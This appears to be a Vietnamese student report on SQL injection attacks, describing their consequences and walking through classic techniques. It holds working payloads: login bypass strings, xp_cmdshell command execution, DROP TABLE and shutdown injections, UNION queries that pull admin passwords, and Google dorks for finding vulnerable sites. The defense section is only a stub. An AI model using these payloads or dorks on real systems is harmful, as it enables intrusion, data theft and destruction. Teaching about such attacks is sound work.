1. Trang chủ
  2. » Luận Văn - Báo Cáo

Tấn công kiểu SQL Injection – Tác hại và cách phòng tránh

16 1,7K 2

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 16
Dung lượng 438,79 KB

Nội dung

SQL injection là một kĩ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu để "t

Trang 1

Phản ứng tình huống tấn công mạng

Đề tài : Tấn công kiểu SQL Injection – Tác hại và cách phòng tránh.

Nhóm 1 : Trần Trung Lý

Dương Nguyễn Thái Trần Hoàng Ngọc Thiện Nguyễn Đức Thắng Nguyễn Bá Mãi Phan Trần Minh Hoàng

I.Vấn đề SQL INJECTION với công nghệ

Năm 2006:Hãng bảo mật SecureWorks cho biết đã phát hiện tới 8.000 vụ tấn công lên các cơ sở dữ liệu mỗi ngày Con số thống kê của SecureWorks được thống kê

từ hệ thống các cơ sở dữ liệu của hơn 1.300 khách hàng sử dụng các giải pháp dịch vụ bảo mật của hãng này

4 – 2011: Sun.com và MySQL.com đã bị tấn công bởi kỹ thuật SQL injection,làm lộ ra database của các website này, bao gồm username và password

4 – 2011: LizaMoon scareware campaign infected hundreds of thousands of websites via SQL Injection

Hacker ngày càng tỏ ra nguy hiểm khi bọn chúng đã chèn thành công những đoạn mã để hiển thị đường dẫn đến 21 tên miền khác nhau Một tìm kiếm trên Google

về những trang web độc hại của hacker cho thấy, có hơn 3 triệu trang web đang ẩn chứa những nguy cơ, cho thấy những đường link độc hại như thế được chèn vào Đa

số những trang web bị tấn công đều không phải là những trang web lớn, thuộc về doanh nghiệp nhỏ, đội tuyển thể thao…

Trang 2

II.SQL INJECTION là gì?

1.Giới thiệu

Cơ sở dữ liệu(database) được coi như là quan trọng nhất của hầu hết các website Nó chứa đựng những dữ liệu cần thiết để website có thể chạy và lưu trữ các thông tin phát sinh trong quá trình chạy Nó cũng lưu trữ những thông tin cá nhân , thẻ tín dụng , mật khẩu của khách hàng , của user và thậm chí là cả của Administrator Hơn cả thế nữa , database còn lưu trữ cả những chi tiết về hoá đơn mua hàng , chi tíêt hàng hoá Đó chính là lý do mà việc bảo vệ Database của 1 website lại rất quan trọng

để bảo vệ quyền lợi khách hàng, vận hành việc kinh doanh 1 cách hiệu quả

Nhưng điều gì xảy ra khi bạn nhận ra rằng những dữ liệu đó không an toàn Điều gì sẽ xảy ra khi bạn nhận ra rằng có 1 lỗi bảo mật mới được phát hiện ? Bạn sẽ trả lời ngay rằng bạn sẽ tìm kiếm 1 phiên bản sữa lổi (patch) hoặc nâng cấp ứng dụng lên version mới hơn Nhưng bạn sẽ không ngờ rằng ,còn có 1 loại lỗi khác không thể nào trông chờ vào việc sửa chữa của hãng viết softwares vì lỗi này phát sinh là do chính bạn Lỗi SQL Injection (Chèn lệnh SQL)

2.SQL INJECTION là gì ?

SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server Công cụ dùng để tấn công là một trình dzuyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx,

SQL injection là một kĩ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu để "tiêm vào“và thi hành các câu lệnh SQL bất hợp pháp

3.Nguyên nhân

Lỗi SQL Injection xảy ra khi website không được lập trình tốt hoặc cấu hình máy chủ tốt Vì vậy, hệ thống không kiểm soát được chặt chẽ các tham số đầu vào cho các câu truy vấn SQL, dẫn đến bị hacker lợi dụng để chèn vào các câu truy vấn nguy hiểm đối với CSDL

Tấn công SQL Injection vào các website đang là hình thức tấn công rất phổ biến trên thế giới hiện nay

Trang 3

4.Hậu quả:

Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện các thao tác đọc, xóa, hiệu chỉnh … toàn quyền trên cơ sở dữ liệu của ứng dụng Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị

cơ sở dữ liệu như SQL Server, MySQL

Trang 4

III.CÁC DẠNG TẤN CÔNG SQL INJECTION

Có bốn dạng thông thường bao gồm:

– Vượt qua kiểm tra lúc đăng nhập (Aauthorization bypass)

– Sử dụng câu lệnh SELECT

– Sử dụng câu lệnh INSERT

– Sử dụng các stored-procedures

3.1 Dạng tấn công vượt qua kiểm tra đăng nhập:

Hacker có thể dễ dàng vượt qua các trang đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web

Hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết định cho phép hay

từ chối thực hiện tiếp

Đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web

Ví dụ, trong trường hợp sử dụng ASP, người ta có thể dùng 2 trang : 1 trang HTML để hiển thị Form nhập liệu và 1 trang ASP để xử lý thông tin nhập vào từ phía người dùng

Trang nhập liệu: login.htm

<form action="ExecLogin.asp" method="post">

Username: <input type="text" name="fUSRNAME"><br>

Password: <input type="password" name="fPASSWORD"><br>

<input type="submit">

</form>

Trang xử lý nhập liệu: execlogin.asp

Trang 5

<%

Dim vUsrName, vPassword, objRS, strSQL vUsrName = Request.Form("fUSRNAME") vPassword = Request.Form("fPASSWORD")

strSQL = "SELECT * FROM T_USERS " & _"WHERE USR_NAME='

" & vUsrName & _ " ' and USR_PASSWORD=' " & vPassword & " ' “

Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN= "

If (objRS.EOF) Then

Response.Write "Invalid login."

Else

Response.Write "You are logged in as " & jRS("USR_NAME")

End If

Set objRS = Nothing

%>

Ta có thể thấy người dùng không thể đăng nhập mà không có tên đăng nhập và mật khẩu hợp lệ, tuy nhiên, đoạn mã này thực sự không an toàn, chỗ sơ hở trong đoạn mã

xử lý nhập liệu trên nằm ở chỗ dữ liệu nhập vào từ người dùng được dùng để xây dựng trực tiếp câu lệnh SQL Chính điều này cho phép Hacker có thể điều khiển câu truy vấn sẽ được thực hiện

Hacker tấn công như thế nào:

• Hacker nhập chuỗi sau vào trong cả 2 ô nhập liệu username/password của trang

login.htm là: ' OR ' ' = '

• Lúc này, câu truy vấn sẽ được gọi thực hiện là:

SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and

USR_PASSWORD= '' OR ''= '‘

1.Kiểm tra USR_NAME =‘’ đúng hay sai ? > Sai

2.Kiêm tra 1=1 đúng hay sai? > Đúng

3 Kiểm tra USR_PASSWORD =‘’ đúng hay sai ? > Sai

4.Kiêm tra 1=1 đúng hay sau > Đúng

(1) or (2) -> Đúng,(3) or (4) -> Đúng

• Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của T_USERS và đoạn mã tiếp theo xử lí hacker đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ

• Ngoài ra các bạn có thể sử dụng :

Trang 6

' or 1=1 " or 1=1 or 1=1 ' or 'a'='a " or "a"="a ') or ('a'='a ở sau câu truy vấn

Ví dụ : SELECT * FROM product WHERE PCategory='food' or 1=1 ‘

• Thi hành lệnh từ xa bằng SQL Injection

 '; exec master xp_cmdshell 'ping

10.10.1.2’  Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc

 Dấu chấm phẩy ( sẽ kết thúc dòng SQL query hiện tại và cho phép bạn thi hành một SQL command mới Để kiểm tra xem lệnh trên có được thi hành hay không, bạn có thể listen các ICMP packet from 10.10.1.2 bằng tcpdump như sau:

#tcpdump icmp

 Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành

Tương tự như vậy, hacker có thể lợi dụng và làm những điều tồi tệ hơn trên chính website

Trang 7

Hacker nhập chuỗi

Nhận thông báo từ server khi giá trị không đúng

Trang 8

2.Dạng tấn công sử dụng câu lệnh SELECT

Để thực hiện được kiểu tấn công này, hacker phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công

Thông thường, sẽ có một trang nhận ID của tin cần hiển thị rồi sau đó truy vấn nội dung của tin có ID này

Thông thường, sẽ có một trang nhận ID của tin cần hiển thị rồi sau đó truy vấn nội dung của tin có ID này

VD: http://www.myhost.com/shownews.asp?ID=123

Mã nguồn cho chức năng này thường được viết khá đơn giản theo dạng <%

Dim vNewsID, objRS, strSQL

vNewsID = Request("ID")

strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" & vNewsID Set objRS = Server.CreateObject("ADODB.Recordset")

objRS.Open strSQL, "DSN= "

Set objRS = Nothing

%>

Đoạn mã này hiển thị nội dung của tin có ID trùng với ID đã chỉ định và hầu như không thấy có lỗi Tuy nhiên, giống như ví dụđăng nhập ở trước, đoạn mã này để lộ sơ

hở cho một lỗi SQL injection khác Kẻ tấn công có thể thay thế một ID hợp lệ bằng cách gán ID cho một giá trị khác, và từ đó, khởi đầu cho một cuộc tấn công bất hợp pháp, ví dụ như:

0 OR 1=1 (nghĩa là, http://www.myhost.com/shownews.asp?ID=0 or 1=1)

Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì nó sẽ thực hiện câu lệnh:

SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1

Trang 9

Lúc này Hacker sẽ thêm dấu nháy đơn ‘ sau link, nếu có lỗi thì site sẽ báo như

thế này:

Sau khi biết site có lỗi hacker sẽ lợi dụng lỗi của site sẽ khai thác và lấy thông tin như : table, columns …, hoặc hiệu chỉnh, xóa dữ liệu bằng các câu lệnh SQL

Tấn công kiểu select này tuy phức tạp nhưng thường được hacker sử dụng, hacker thường khai thác lỗi này để lấy cắp tài khoản chùa hoặc chiếm quyền Admin của một website nào đó

Tương tự như trên, hacker có thể lợi dụng sơ hở trong câu truy vấn SQL để nhập vào trường tên tác giả bằng chuỗi giá trị:

‘ UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' (*) Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm

lệnh tiếp theo sau từ khóa UNION

Tất nhiên các ví dụ nói trên, dường như không có gì nguy hiểm, nhưng hãy thử tưởng tượng kẻ tấn công có thể xóa toàn bộ cơ sở dữ liệu bằng cách chèn vào các đoạn lệnh

nguy hiểm như lệnh DROP TABLE

Trang 10

Ví dụ như: ' DROP TABLE T_AUTHORS –

3.Dạng tấn công sử dụng câu lệnh INSERT

Từ khóa INSERT dùng đề đưa thông tin vào cơ sở dữ liệu Thông thường câu lệnh INSERT được dùng trong các trường hợp như: thông tin đăng kí người sử dụng, guestbook

Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có thể xem và hiệu chỉnh thông tin của mình SQL injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào

Kĩ thuật “;” , “ ” được dùng như đã từng dùng với câu lệnh SELECT, phải đảm bào đúng số lượng và kiểu giá trị được nhập nhằm tránh lỗi cú pháp ( nếu không xác định được kiểu dữ liệu có thể nhập tất cả là số)

Một câu lệnh INSERT có thể có cú pháp dạng:

INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three') Nếu hacker nhập vào tại: Value One chuỗi:

‘ + SELECT TOP 1 FieldName FROM TableName + ’

Lúc này câu truy vấn sẽ là:

INSERT INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def')

Lúc thực hiện lệnh xem thông tin, xem như bạn đã yêu cầu thực hiện thêm một lệnh nữa đó là:

SELECT TOP 1 FieldName FROM TableName

Vậy tất cả những dữ liệu nằm trên website của bạn, hacker đều có thể lấy cắp

được.Bạn thử nghĩ điều gì sẽ xảy ra nếu thông tin đó là user & password của Admin, hoặc là tài khoản Credit Card

Trang 11

4.Dạng tấn công sử dụng stored-produces

Stored-produces được sử dụng trong lập trình web với mục đích giảm sự phức tạp và tránh sự tấn công trong kĩ thuật SQL INJECTION Tuy nhiên HACKER vẫn có thề lợi dụng stored-produces để tấn công vào hệ thống

VD:

Stored-produces sp_login gồm 2 tham số là username và password

Nếu nhập: Username: nhimmap

Password: ‘;shutdown—

Lệnh gọi stored-produces như sau:

Exec sp_login ‘nhimap’, ‘’;shutdown—‘

Lệnh shutdown thực hiện dừng SQL SERVER ngay lập tức

Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được thực thi với quyền quản trị hệ thống 'sa'

VD:

Nếu ta thay đoạn mã tiêm vào dạng: ' ; EXEC xp_cmdshell ‘cmdd.exe dir C: ' Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe

IV.Kỹ thuật tấn SQL INJECTION

Kỹ Thuật tấn công bằng sql injection đơn giản hóa thành 6 bước gồm:

1) Tìm kiếm mục tiêu

2) Kiểm tra chỗ yếu của trang web

3) Nhận data qua ‘database using ODBC error message’

4) Xác định tên của các column trong table

5) Thu thập các dữ liệu quan trọng

6) Xử lý kết quả tìm được

Trang 12

1.Tìm kiếm mục tiêu:

• Có thể dùng các bất kỳ 1 search-engine nào trên mạng như các trang login, search, feedback điển hình là http://www.goole.com.vn

• Có thể "custome search engine" lại cho phù hợp với yêu cầu của bạn

• Một số trang web chuyển tham số qua các field ẩn, khi đó ta phải xem

mã html mới thấy rõ

FORM action= Search/search.asp method= post>

<input type=hidden name=A value=c>

</FORM>

• Thực hiện các câu lệnh search như sau:

 inurl:php?id=site:com.vn

 inurl:php?id=site:com

 inurl:asp?id=site:co.uk

Ví dụ: khi search với câu lệnh "inurl:php?id=site:com.vn" ta được như hình.Mọi địa chỉ trang web ta search được đều hiện thị số php?id=xx

Trang 13

2.Kiểm tra chỗ yếu của trang web:

• Điền thêm 1 số lệnh trên url, hoặc trên các from login, search để phát hiện lỗi

• Không phải trang web nào cũng sẽ tấn công được

• Khi bạn thêm lệnh trên url vào 1 số trang nó sẽ thông báo lỗi database thì những trang này là những mục tiêu ta có thể tấn công

3.Nhận data qua "database using ODBC error message":

• Đây là bước quan trọng nhất và đòi hỏi nhiều kĩ thuật lẫn sự hiểu biết về

cơ sở dữ liệu

4.Xác định tên của các column trong table

• Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table.Ta có thể khai thác như sau:

 http://abc.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME

TABLE_NAME=‘admin_login’—

 Kết quả :

• Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’[Microsoft] [ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator

• /index.asp, line 5

5.Thu nhập các dữ liệu quan trọng:

• Dùng tên user tìm được để tìm password:

• http://abc.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login

Trang 14

_name=‘aaa’ • Bây giờ ta sẽ nhận được password của 'aaa' là 'bbb'.

6.Xử lý kết quả tìm được:

• Khi bạn đã có tên của tất cả các column trong table, bạn có thể UPDATE hoặc INSERT một record mới vào table này

• Để thay đổi password của ‘aaa’ bạn có thể làm như sau:

 http://vitcon/index.asp?id=10 ;UPDATE ‘admin_login’ SET ‘password’ =‘ccc’ WHERE login_name=‘aaa’–

• Hoặc bạn login trực tiếp vào và thực hiện dưới quyền user đó

V.Cách phòng chống

Các biện pháp phòng chống tấn công SQL Injection cho website phụ thuộc rất nhiều vào nền tảng (platform) xây dựng web

Ví dụ:

website của bạn được xây dựng trên platform nào (Joomla, Wordpress hay DotNetNuke …) và sử dụng ngôn ngữ lập trình gì (ASP, PHP, Net hay Java …) Website đó đang chạy trên Web Server (IIS, Apache…) nào, hệ quản trị CSDL của website là gì (Oracle, MySQL…)

Ngày đăng: 17/03/2015, 13:21

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w